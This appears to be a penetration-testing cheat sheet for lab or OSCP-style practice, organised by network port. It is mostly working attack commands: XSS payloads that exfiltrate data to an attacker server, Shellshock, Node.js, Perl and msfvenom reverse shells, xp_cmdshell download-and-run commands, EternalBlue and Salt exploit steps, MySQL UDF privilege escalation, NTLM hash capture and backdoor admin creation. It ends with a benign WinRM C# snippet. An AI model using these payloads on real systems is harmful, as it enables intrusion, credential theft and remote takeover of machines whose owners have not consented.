* '''Host the Script''': You need to have control over the server at [http://10.9.17.250 http://10.9.17.250] . On this server, you'll place your JavaScript code in a file, typically with a .js extension (even though you mentioned test.txt , it's more common to use .js for JavaScript files).

* '''Write the JavaScript Code''': The JavaScript code that fetches the content from [http://10.10.109.42:8080/flag.txt http://10.10.109.42:8080/flag.txt] and then sends it to your server needs to be written and saved in the file you're hosting (say script.js ).

Here's an example of what your JavaScript file ( script.js ) might contain:

<syntaxhighlight lang="markup">
fetch('http://10.10.109.42:8080/flag.txt')
.then(response => response.text())
.then(data => {
fetch('http://10.9.17.250/receive', { // Change the endpoint as needed
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: `data=${encodeURIComponent(data)}`
});
});
</syntaxhighlight>

You can alos send this directly instead of hosting it:

<syntaxhighlight lang="markup">
Feedback=">fetch('/profile').then(response => response.json()).then(data => fetch('http://attacker-server.com', {method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify(data)}));
</syntaxhighlight>

3. Inject the payload in the form

<syntaxhighlight lang="markup">
Feedback=">">
</syntaxhighlight>

4. Setup a receiver:

<syntaxhighlight lang="python">
from flask import Flask, request
app = Flask(__name__)
@app.route('/receive', methods=['POST'])
def receive_data():
data = request.get_json()
print(data)
return 'Data received', 200
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
</syntaxhighlight>

=== Bypass robots.txt "You are not a search engine. Permission denied." ===

<syntaxhighlight lang="bash">
Set User-Agent to "User-Agent: Googlebot/2.1 (+http://www.googlebot.com/bot.html)"
</syntaxhighlight>

=== ShellShock (CGI) ===

<syntaxhighlight lang="bash">
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" /cgi-bin/
</syntaxhighlight>

<syntaxhighlight lang="bash">
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.10.17/4444 0>&1' http://10.10.10.56/cgi-bin/
</syntaxhighlight>

=== CMS/Webservers ===

==== Apache James ====

<syntaxhighlight lang="bash">
# See writeup 10.11.1.72 PWK
# Apache James Server 2.3.2
https://www.exploit-db.com/exploits/50347
</syntaxhighlight>

==== Drupal ====

<syntaxhighlight lang="bash">
droopscan scan -u
</syntaxhighlight>

===== Username Enumeration =====

<syntaxhighlight lang="bash">
Register
In /user/register try to create a username, and if the name is already taken it will be notified
Register new password
If you request a new password for an exisiting username.
If you request a new password for a non-existent username:
Number of users enumeration
Accessing /user/ you can see the number of exisinting users.
- /user/4 -> Access denied (user exist)
- /user/5 -> Page not found (user dosent exist)
There are 4 existing users.
</syntaxhighlight>

===== Hidden pages enumeration =====

<syntaxhighlight lang="bash">
Fuzz /node/$ where $ is a number (from 1 to 500 for example).
You could find hidden pages (test, dev) which are not referenced by the search engine.
wfuzz -c -z range,1-500 -hc 404 /node/FUZZ
</syntaxhighlight>

==== FuelCMS ====

<syntaxhighlight lang="bash">
https://www.exploit-db.com/exploits/47138
</syntaxhighlight>

==== Gitstack portal ====

<syntaxhighlight lang="bash">
# Go to gitstack portal
# Try default admin:admin
# Click on stack menu.
# Choose the command portal option.
# replace stack.php?cmd=hello
# with
# stack.php?cmd=hello;whoami
</syntaxhighlight>

==== IIS - Internet Information Services ====

==== Jenkins ====

===== Remote Code execution =====

<syntaxhighlight lang="bash">
# See writeup 10.5.5.25 PWK
Select New Item --> Freestyle project --> Choose build --> Windows batch command (Or Execute shell for Linux)
</syntaxhighlight>

==== Joomla ====

==== Ovidentia ====

<syntaxhighlight lang="bash">
See writeup 10.11.1.73 PWK
</syntaxhighlight>

==== Tiki wiki ====

<syntaxhighlight lang="bash">
https://www.exploit-db.com/exploits/40053
</syntaxhighlight>

==== PHPLiteAdmin ====

<syntaxhighlight lang="bash">
# See writeup 10.11.1.116 PWK
# PHPLiteAdmin 1.9.3
# https://www.exploit-db.com/exploits/24044
</syntaxhighlight>

==== Tomcat ====

==== werkzeug ====

==== WebDAV ====

<syntaxhighlight lang="bash">
davtest -url http://10.10.10.15
</syntaxhighlight>

===== Curl commands with webDAV =====

<syntaxhighlight lang="bash">
# Reading Files/Folders
curl 'http://example.com/webdav'
# Creating new Folder
curl -X MKCOL 'http://example.com/webdav/new_folder'
# Uploading File
curl -T '/path/to/local/file.txt' 'http://example.com/webdav/test/new_name.txt'
curl --upload-file http:///test/
curl -T 'cmdasp.aspx' 'http://192.168.89.122/cmd.aspx' --user fmcsorley:CrabSharkJellyfish192
# Renaming File
curl -X MOVE --header 'Destination:http://example.org/webdav/new.txt' 'http://example.com/webdav/old.txt'
# Deleting Files/Folders
# File:
curl -X DELETE 'http://example.com/webdav/test.txt'
# Folder:
curl -X DELETE 'http://example.com/webdav/test'
</syntaxhighlight>

==== Wordpress ====

<syntaxhighlight lang="bash">
wpscan --url
</syntaxhighlight>

===== Change user pass in Mysql =====

<syntaxhighlight lang="bash">
# Example 1
use wp_genesis;
SELECT ID, user_login, user_pass FROM wp_users;
UPDATE wp_users SET user_pass = MD5(‘WPEXPLORER’) WHERE ID=1 LIMIT 1;
# Example 2
select * from wp_users;
UPDATE `wp_users` SET `user_pass`= MD5('bypassed') WHERE
`user_login`='admin';
</syntaxhighlight>

===== Panel RCE =====

<syntaxhighlight lang="bash">
Edit the 404.php file in Wordpress dashobard. Appereance --> Editor --> 404 Template.
Add php-reverse-shell.php.
Visit http:///wp-content/themes/twentytwelve/404.php
</syntaxhighlight>

===== Plugin RCE =====

<syntaxhighlight lang="bash">
https://github.com/x3rz/malicious-wordpress-plugin
# Edit php reverse shell and add IP and port
# Go to Plugin -> Add new -> Upload plugin
# Upload the zip file
# Visit url http:///wp-content/plugins/MyPlugin/malplugin.php
</syntaxhighlight>

=== Webshell ===

==== PHP webshell, php code, php execution, php command ====

<syntaxhighlight lang="bash">

</syntaxhighlight>

=== WebApplication Firewall (WAF) ===

=== fireprox -Rotate source IP ===

<syntaxhighlight lang="bash">
# https://github.com/ustayready/fireprox

</syntaxhighlight>

==== Waf Bypass ====

<syntaxhighlight lang="bash">
https://portswigger.net/bappstore/ae2611da3bbc4687953a1f4ba6a4e04c
See notes for XposedAPI. Add header to GET request in burp. (One of them) and see result.
X-Originating-IP: 127.0.0.1 X-Forwarded-For: 127.0.0.1 X-Remote-IP: 127.0.0.1 X-Remote-Addr: 127.0.0.1
</syntaxhighlight>

----

== 88 - KERBEROS ==

----

== 110 - POP3 ==

<syntaxhighlight lang="bash">
# Login
telnet 192.168.196.137 110
Trying 192.168.196.137...
Connected to 192.168.196.137.
Escape character is '^]'.
+OK Dovecot (Ubuntu) ready.
USER sales
+OK
PASS sales
+OK Logged in.
# List emails
list
# Read mail
RETR
</syntaxhighlight>

----

== 113 - ident ==

<syntaxhighlight lang="bash">
# https://book.hacktricks.xyz/network-services-pentesting/113-pentesting-ident
ident-user-enum 192.168.207.60 22 113 8080 10000
ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
192.168.207.60:22 root
192.168.207.60:113 nobody
192.168.207.60:8080
192.168.207.60:10000 eleanor
</syntaxhighlight>

----

== 135, 593 - MS RPC ==

=== Enum with creds ===

<syntaxhighlight lang="bash">
# https://book.hacktricks.xyz/network-services-pentesting/pentesting-smb/rpcclient-enumeration
# If you have access to rpcclient, you can enumerate target
# Users enumeration
List users: querydispinfo and enumdomusers
Get user details: queryuser
Get user groups: queryusergroups
GET SID of a user: lookupnames
Get users aliases: queryuseraliases [builtin|domain]
# Groups enumeration
List groups: enumdomgroups
Get group details: querygroup
Get group members: querygroupmem
Aliasgroups enumeration
List alias: enumalsgroups
Get members: queryaliasmem builtin|domain
# Domains enumeration
List domains: enumdomains
Get SID: lsaquery
Domain info: querydominfo
# Shares enumeration
Enumerate all available shares: netshareenumall
Info about a share: netsharegetinfo
# More SIDs
Find SIDs by name: lookupnames
Find more SIDs: lsaenumsid
RID cycling (check more SIDs): lookupsids
</syntaxhighlight>

=== Password Reset over RPC ===

<syntaxhighlight lang="bash">
# https://room362.com/post/2017/reset-ad-user-password-with-linux/
rpcclient $> setuserinfo2
rpcclient $> setuserinfo2 audit2020 23 'Password123!'
# One-liner
root@kali# rpcclient -U 'blackfield.local/support%#00^BlackKnight' 10.10.10.192 -c 'setuserinfo2 audit2020 23 "Password123!"'
</syntaxhighlight>

----

== 139, 445 - SMB/SAMBA ==

=== Brute force ===

<syntaxhighlight lang="bash">
crackmapexec smb -u -p
hydra -V -f -L -P smb:// -u -vV
</syntaxhighlight>

=== Capture hash using responder or smbserver ===

<syntaxhighlight lang="bash">
# On attacker start responder or smbserver.
responder -I attackerip
/usr/bin/impacket-smbserver share . -smb2support
# On target
dir \\attackerip\something
view=//attackerip/share
# Looking at the smbserver or responder you should have a NetNTLM hash. Copy all the text and use hashcat -m 5600 to crack it.
# Example
ted::EXAM:aaaaaaaaaaaaaaaa:a8ecd5aa9380ac8a4fbb1675b1ecaaaf:010100000000000000171a603bf4d801c188d310ceebaab30000000001001000680070006d00700048004d004600620003001000680070006d00700048004d00460062000200100075006d005200700049007400570058000400100075006d005200700049007400570058000700080000171a603bf4d8010600040002000000080030003000000000000000010000000020000096dbb345b8d0cc5a1bc8d14cd3277457913639d19c3307e6e04ee03bb7864ee20a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100310039002e003200330036000000000000000000
</syntaxhighlight>

=== Command Execution through smbmap ===

<syntaxhighlight lang="bash">
smbmap -u 'backup' -p 'backup' -H 10.11.1.227 -x "net user" --mode psexec
</syntaxhighlight>

=== Download files ===

<syntaxhighlight lang="bash">
#Download all
smbclient ///
> mask ""
> recurse
> prompt
> mget *
#Download everything to current directory

# Download all files from a directory recursively
smbclient /// -U -c "prompt OFF;recurse ON;mget *"
</syntaxhighlight>

=== EternalBlue ms17-010 ===

<syntaxhighlight lang="bash">
https://github.com/worawit/MS17-010/
https://github.com/helviojunior/MS17-010 # Modified version of worawits repo
# If windows xp, use send_and_execute.py
# Generate payload using msfvenom
python2 send_and_execute.py 10.10.10.10 shell.exe
</syntaxhighlight>

=== Enumerate samba version ===

[https://4pfsec.com/manually-enumerating-smb-version/ https://4pfsec.com/manually-enumerating-smb-version/]

<syntaxhighlight lang="bash">
# Run the below script while wireshark is listening
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 8 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 10 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1
# Once you've run the script, go back to wireshark and follow one of the smb TCP stream
</syntaxhighlight>

[[File:2022-09-image-1.png|thumb]]

=== Enumerate ===

<syntaxhighlight lang="bash">
enum4linux -A
nmap -v -p 139,445 -oG smb.txt 192.168.11.200-254
nbtscan -r 192.168.11.0/24
nmblookup -A target
rpcclient -U "" target // connect as blank user /nobody
smbclient ///
smbclient -L //
smbclient //192.168.31.147/kathy -I 192.168.31.147
smbmap -H
smbmap -u '' -p '' -H
smbmap -u 'guest' -p '' -H
smbmap -u '' -p '' -H -R
smbmap -u "" -p "" -d MYGROUP -H 10.11.1.22
crackmapexec smb
crackmapexec smb -u '' -p ''
crackmapexec smb -u 'guest' -p ''
crackmapexec smb -u '' -p '' --shares
</syntaxhighlight>

=== Mount share ===

<syntaxhighlight lang="bash">
mount -t auto --source //x.x.x.x
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
smbclient ///
smbclient /// -U
</syntaxhighlight>

=== Shell ===

<syntaxhighlight lang="bash">
psexec.py /:@
psexec.py /@ -hashes :
wmiexec.py /:@
wmiexec.py /@ -hashes :
smbexec.py /:@
smbexec.py /@ -hashes :
atexec.py /:@
atexec.py /@ -hashes :
</syntaxhighlight>

=== Eternal Blue ===

<syntaxhighlight lang="bash">
MS17-010 - EternalBlue
MS08-067 - MS08-067
CVE-2017-7494 - CVE-2017-7494
# Send_and_Exectue.py
msfvenom -p windows/shell_reverse_tcp -f exe LHOST=10.10.14.17 LPORT=4444 > exploit.exe
python2 send_and_execute.py 10.10.10.40 exploit.exe
-----------------------------------------
# Command Execution
https://www.exploit-db.com/exploits/42315
# Uncomment this line and add your CMD
service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
-----------------------------------------
# AutoBlue
# Generate shellcode from shell_prep.sh
https://github.com/3ndG4me/AutoBlue-MS17-010
python eternalblue_exploit*.py
</syntaxhighlight>

=== Man in the middle ===

==== URI file attack ====

<syntaxhighlight lang="bash">
# See writeup for Vault
# If Windows host and SMB share is writeable we can upload a file that the target will interpret as a Windows shortcut. We will need Responder.
Kali > cat @file.url # Can also save as desktop.ini
[InternetShortcut]
URL=anything
WorkingDirectory=anything
IconFile=\\192.168.118.14\%USERNAME%.icon
IconIndex=1
# Start responder
sudo responder -I tun0 -v
# Hashtype
net-NTLMv2
# Upload file to SMB and wait for a user to access the file.
</syntaxhighlight>

----

== 161 - SNMP ==

<syntaxhighlight lang="bash">
snmp-check [-p PORT]
</syntaxhighlight>

----

== 194,6667,6660-7000 - IRC ==

<syntaxhighlight lang="bash">
# Can use different clients, like irssi
# See notes from box; UT99
#Connection with random nickname
USER ran213eqdw123 0 * ran213eqdw123
NICK ran213eqdw123
#If a PING : is responded you need to send
#PONG :
VERSION
HELP
INFO
LINKS
HELPOP USERCMDS
HELPOP OPERCMDS
OPERATOR CAPA
ADMIN #Admin info
USERS #Current number of users
TIME #Server's time
STATS a #Only operators should be able to run this
NAMES #List channel names and usernames inside of each channel -> Nombre del canal y nombre de las personas que estan dentro
LIST #List channel names along with channel banner
WHOIS #WHOIS a username
USERHOST #If available, get hostname of a user
USERIP #If available, get ip of a user
JOIN #Connect to a channel
#Operator creds Brute-Force
OPER
</syntaxhighlight>

----

== 389, 636, 3268, 3269 - LDAP ==

=== Enumerate LDAP ===

<syntaxhighlight lang="bash">
nmap -n -sV --script "ldap* and not brute" -p 389 dc-ip
</syntaxhighlight>

=== Dump LDAP info ===

Must have valid credentials

<syntaxhighlight lang="bash">
pip3 install ldapdomaindump
ldapdomaindump [-r ] -u '\' -p '' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
</syntaxhighlight>

=== Search queries ===

<syntaxhighlight lang="bash">
# ldapsearch opens a connection to an LDAP server, binds, and performs a search using specified parameters.
ldapsearch -x -h -b "dc=XXXX"
# Example
ldapsearch -x -H LDAP://192.168.89.122 -b "dc=hutch,dc=offsec"
</syntaxhighlight>

----

== 873 - rsync ==

=== Commands ===

<syntaxhighlight lang="bash">
# https://book.hacktricks.xyz/network-services-pentesting/873-pentesting-rsync
# List shares
rsync -av --list-only rsync://192.168.243.126/
# Upload files
rsync -av test.txt rsync://192.168.243.126/fox
</syntaxhighlight>

=== Upload SSH key ===

<syntaxhighlight lang="bash">
# 1 Generate an SSH key
ssh-keygen -t rsa
# 2 If you are in a users folder, create a .ssh
mkdir .ssh
rsync -av .ssh TARGET_IP/home_dir/
# 3 Create a authorized_keys file and add the content of id_rsa.pub to this file
touch authorized_keys
echo -n 'CONTENT of id_rsa.pub' >> authorized_keys
# 4 Transfer the authorized_keys to the target
rsync -av authorized_keys TARGET_IP/home_dir/.ssh/
# 5 SSH into the machine. You need to know the owner of home_dir
ssh -i id_rsa USER@TARGETIP
</syntaxhighlight>

<syntaxhighlight lang="bash">
https://www.netspi.com/blog/technical/network-penetration-testing/linux-hacking-case-studies-part-1-rsync/
https://book.hacktricks.xyz/pentesting/873-pentesting-rsync
</syntaxhighlight>

----

== 1098/1099/1050 - Java RMI ==

[https://book.hacktricks.xyz/network-services-pentesting/1099-pentesting-java-rmi https://book.hacktricks.xyz/network-services-pentesting/1099-pentesting-java-rmi]

<syntaxhighlight lang="bash">
# Running Remote Method Guesser
# https://github.com/qtc-de/remote-method-guesser#installation
java -jar rmg-4.3.0-jar-with-dependencies.jar
</syntaxhighlight>

----

== 1433 - MSSQL ==

=== Microsoft SQL Server 2017 directory locations ===

<syntaxhighlight lang="bash">
\program files\microsoft sql server\mssql14.sqlexpress\mssql\backup\master.mdf
</syntaxhighlight>

=== Execute commands ===

<syntaxhighlight lang="bash">
# https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#execute-commands
# Log in to mssql
/usr/bin/impacket-mssqlclient -db volume -windows-auth /:@
# Execute commands
# Username + Password + CMD command
crackmapexec mssql -d -u -p -x "whoami"
# Username + Hash + PS command
crackmapexec mssql -d -u -H -X '$PSVersionTable'
# this turns on advanced options and is needed to configure xp_cmdshell
sp_configure 'show advanced options', '1'
RECONFIGURE
# this enables xp_cmdshell
sp_configure 'xp_cmdshell', '1'
RECONFIGURE
# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'
# Bypass blackisted "EXEC xp_cmdshell"
‘; DECLARE @x AS VARCHAR(100)=’xp_cmdshell’; EXEC @x ‘ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net’ —
</syntaxhighlight>

=== xp_cmdshell ===

<syntaxhighlight lang="bash">
# https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#hacktricks-automatic-commands
# Need credentials
sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G
###the goal is to get xp_cmdshell working###
1. try and see if it works
xp_cmdshell `whoami`
go
2. try to turn component back on
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell `whoami`
go
3. 'advanced' turn it back on
EXEC SP_CONFIGURE 'show advanced options', 1
reconfigure
go
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell 'whoami'
go
xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"
</syntaxhighlight>

=== Extracting hashes from .mdf file ===

<syntaxhighlight lang="bash">
https://github.com/xpn/Powershell-PostExploitation
# read this if troulbe
https://github.com/xpn/Powershell-PostExploitation/issues/1
# Run Powershell on linux
pwsh
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes> Add-Type -Path 'OrcaMDF.RawCore.dll'
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes> Add-Type -Path 'OrcaMDF.Framework.dll'
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes> import-module .\Get-MDFHashes.ps1
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes> Get-MDFHashes -mdf "./master.mdf"
</syntaxhighlight>

----

== 1521, 1522-1529 - Oracle TNS Listener ==

----

== 1978, 1979, 1980 - Remote Mouse ==

<syntaxhighlight lang="bash">
# Use nc to check header
# SIN 15win pwd pwd 300 : Indicating that the service requires authentication.
# SIN 15win nop nop 300 : Indicating that the service does not require authentication.
# Then use this exploit. Check writeup for PG mice and PWK IT dept 10.1.1.89.
https://github.com/p0dalirius/RemoteMouse-3.008-Exploit
# Edit the script to point to your Python HTTP server where nishang invoke tcp script is ready.
</syntaxhighlight>

----

== 2049 - NFS ==

=== no_root_squash ===

https://blog.aghanim.net/?p=1252#Privilege_Escalation_NFS

=== Access NFS through ssh tunnel ===

<syntaxhighlight lang="bash">
# Source https://medium.com/vieh-group/hacking-oscp-cheatsheet-ef63c43f919c
# Output from /etc/exports on target
/srv/Share 10.1.1.0/24(insecure,rw)
/srv/Share 127.0.0.1/32(no_root_squash,insecure,rw)
# Forward connection - Run the ssh command on attacker
ssh -f -N megumin@192.168.42.43 -L 2049:127.0.0.1:2049
mount -t nfs 127.0.0.1:/srv/pelota my_share
cd my_share
cat > shell.c
int main(){
setuid(0);
setgid(0);
system("/bin/bash");
}
EOF
gcc shell.c -o shell
chmod u+s shell
# Reverse connection - Run the ssh command on target
# Beware that this means target will access attacker through ssh. Not as safe as forward connection.
ssh -N -R 192.168.119.176:2221:127.0.0.1:2049 aghanim@192.168.119.176
mount -v -t nfs -o port=2221,tcp localhost:/srv/Share mount
</syntaxhighlight>

----

== 3000 - NodeJs ==

<syntaxhighlight lang="javascript">
https://github.com/appsecco/vulnerable-apps/tree/master/node-reverse-shell
# The Javascript code below is a Node.js reverse shell.
# Remember to change the IP address and PORT with the nc you are running.
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8080, "192.168.33.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
</syntaxhighlight>

----

== 3306 - MySQL/MariaDB ==

=== Privilege escalation ===

<syntaxhighlight lang="bash">
# https://medium.com/r3d-buck3t/privilege-escalation-with-mysql-user-defined-functions-996ef7d5ceaf
# User-defined function (UDF)
# If you can login as root you can create a malicious functions to run commands.
https://www.exploit-db.com/exploits/1518
# You can also compile it on attacker if target dont have gcc. Use --static.
# Check if secure_file_priv. If empty means disabled
show variables like '%secure_file_priv%';
# Find plugin path. Add the path on step file (dumpfile)
show variables like '%plugin%';
$ gcc -g -c raptor_udf2.c
* $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
# Can also transfer exploit raptor_udf2.so with hex.
## xxd -p raptor_udf2.so | tr -d '\n' > raptor_udf2.so.hex
* $ mysql -u root -p
* Enter password:
* [...]
# Set variable for shellcode
## set @shell = 0x7f454c4602010100000000000000000003003e000100000000110000000000004000000000000000e03b0000000000000000000040003800090040001c001b000100000004000000000000...00000000000000000000;
* mysql> use mysql;
* mysql> create table foo(line blob);
* mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so'));
# Output shellcode to file on target
## select binary @shell into dumpfile '/usr/lib/raptor_udf2.so';
* mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so';
* mysql> create function do_system returns integer soname 'raptor_udf2.so';
* mysql> select * from mysql.func;
* +-----------+-----+----------------+----------+
* | name | ret | dl | type |
* +-----------+-----+----------------+----------+
* | do_system | 2 | raptor_udf2.so | function |
* +-----------+-----+----------------+----------+
* mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');
# OR
select do_system('cp /bin/bash /tmp/out; chmod +xs /tmp/out');
* mysql> \! sh
* sh-2.05b$ cat /tmp/out
* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
* [...]
</syntaxhighlight>

=== Privilege escalation method 2 ===

<syntaxhighlight lang="bash">
https://github.com/mysqludf/lib_mysqludf_sys
# Compiling the above will sometimes not work and you have to do some editing. See the below commands to fix issue and compile correct.
xxd -p lib_mysqludf_sys.so| tr -d '\n' > lib_mysqludf_sys.so.hex
cat lib_mysqludf_sys.so.hex | xclip -selection clipboard
MariaDB [(none)]> select @@plugin_dir
MariaDB [(none)]> set @shell = 0x7f454c4602010100000000000000000003003e000100000000110000000000004000000000000000e03b0000000000000000000040003800090040001c001b000100000004000000000000...00000000000000000000;
MariaDB [(none)]> select binary @shell into dumpfile @@plugin_dir; # Write out the plugin dir like this '/usr/lib/lib_mysqludf_sys.so
MariaDB [(none)]> create function sys_exec returns int soname 'udf_sys_exec.so';
MariaDB [(none)]> select * from mysql.func where name='sys_exec';
MariaDB [(none)]> select sys_exec('cp /bin/sh /tmp/; chown root:root /tmp/sh; chmod +s /tmp/sh')
</syntaxhighlight>

<syntaxhighlight lang="bash">
git clone https://github.com/mysqludf/lib_mysqludf_sys.git
cd lib_mysqludf_sys
rm lib_mysqludf_sys.so
sed -i 's|$(LIBDIR)|.|g' Makefile
sed -i 's|-Wall -I/usr/include/mysql|-Wall -I/usr/include/mariadb/server -I/usr/include/mariadb/ -I/usr/include/mariadb/server/private|g' Makefile
ex lib_mysqludf_sys.c <<<"57,62m27|wq"
sudo apt install libmariadbd-dev
make
</syntaxhighlight>

----

== 3389 - RDP ==

=== Add user and enable RDP ===

<syntaxhighlight lang="bash">
# https://github.com/xapax/oscp/blob/master/templates/windows-template.md
net user aghanim Password123 /add
net localgroup Administrators aghanim /add
net localgroup "Remote Desktop Users" aghanim /ADD
# Enable RDP
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
Turn firewall off
netsh firewall set opmode disable
Or like this
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
If you get this error:
"ERROR: CredSSP: Initialize failed, do you have correct kerberos tgt initialized ?
Failed to connect, CredSSP required by server.""
Add this reg key:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /
</syntaxhighlight>

=== ThinVNC ===

<syntaxhighlight lang="bash">
https://www.exploit-db.com/exploits/47519
</syntaxhighlight>

----

== 4505, 4506 - zmtp ==

<syntaxhighlight lang="bash">
# RCE in Satlstack 3000 ZeroMQ CVE-2020-11651 and CVE-2020-11652 in
# https://github.com/jasperla/CVE-2020-11651-poc
python3 exploit.py --master 192.168.115.130 --exec "nc 127.0.0.1 4444 -e /bin/sh"
python3 exploit.py --master 192.168.115.130 -r /etc/shadow
</syntaxhighlight>

----

== 5432, 5433 - PostgreSQL ==

=== Commands ===

<syntaxhighlight lang="bash">
psql -U # Open psql console with user
psql -h -U -d # Remote connection
psql -h -p -U -W # Remote connection
</syntaxhighlight>

<syntaxhighlight lang="sql">
psql -h localhost -d -U #Password will be prompted
\list # List databases
\c # use the database
\d # List tables
\du+ # Get users roles
#Read a file
CREATE TABLE demo(t text);
COPY demo from '[FILENAME]';
SELECT * FROM demo;
#Write ascii to a file (copy to cannot copy binary data)
COPY (select convert_from(decode('','base64'),'utf-8')) to 'C:\\some\\interesting\path.cmd';
#List databases
SELECT datname FROM pg_database;
#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;
#Check if current user is superiser
SELECT current_setting('is_superuser'); #If response is "on" then true, if "off" then false
#Check if plpgsql is enabled
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql'
#Change password
ALTER USER user_name WITH PASSWORD 'new_password';
#Check users privileges over a table (pg_shadow on this example)
SELECT grantee, privilege_type
FROM information_schema.role_table_grants
WHERE table_name='pg_shadow'
#Get users roles
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolconnlimit, r.rolvaliduntil,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;
</syntaxhighlight>

=== RCE ===

<syntaxhighlight lang="bash">
# https://book.hacktricks.xyz/pentesting-web/sql-injection/postgresql-injection#rce
#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;

postgres=# COPY cmd_exec FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.49.115:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;;
COPY 0
</syntaxhighlight>

----

== 5800, 5801, 5900, 5901 - VNC ==

----

== 5985, 5986 - WinRM ==

----
The easiest way to connect to WinRM using C# is to use '''WSMAN Automation'''.

Reference <code>wsmauto.dll</code> from <code>Windows\System32</code> in your project.

The following code should work:

<syntaxhighlight lang="csharp">
IWSMan wsman = new WSManClass();
IWSManConnectionOptions options = (IWSManConnectionOptions)wsman.CreateConnectionOptions();
if (options != null)
{
try
{
// options.UserName = ???;
// options.Password = ???;
IWSManSession session = (IWSManSession)wsman.CreateSession("http://<your_server_name>/wsman", 0, options);
if (session != null)
{
try
{
// retrieve the Win32_Service xml representation
var reply = session.Get("http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Service?Name=winmgmt", 0);
// parse xml and dump service name and description
var doc = new XmlDocument();
doc.LoadXml(reply);
foreach (var elementName in new string[] { "p:Caption", "p:Description" })
{
var node = doc.GetElementsByTagName(elementName)[0];
if (node != null) Console.WriteLine(node.InnerText);
}
}
finally
{
Marshal.ReleaseComObject(session);
}
}
}
finally
{
Marshal.ReleaseComObject(options);
}
}
</syntaxhighlight>

Source:

* [https://stackoverflow.com/questions/3771920/how-to-access-winrm-in-c-sharp stackoverflow]

---

=== WinRM development and lab setup ===

* '''WSMan COM API''' (<code>WSManClass</code>, <code>IWSManSession</code>) fire-and-forget command execution via <code>Win32_Process</code>. Does not return stdout.
* '''PowerShell Runspace API''' (<code>WSManConnectionInfo</code>, <code>RunspaceFactory</code>) Requires <code>System.Management.Automation</code>.

The steps below needs to be run '''on the machine you want to connect to'''. WinRM needs to be configured to accept incoming connections, allow unencrypted HTTP traffic, and accept Basic authentication (required for workgroup/local accounts).

The stepsbelow is needed if you are connecting to a machine that is not part of a domain. When its part of a AD domain it will automatically use Kerberos. The DC will act as the trusted third party to verify identity. No need to add to TrustedHosts, or set Basic auth and AllowUnencrypted. It is encrypted via Kerberos by default.

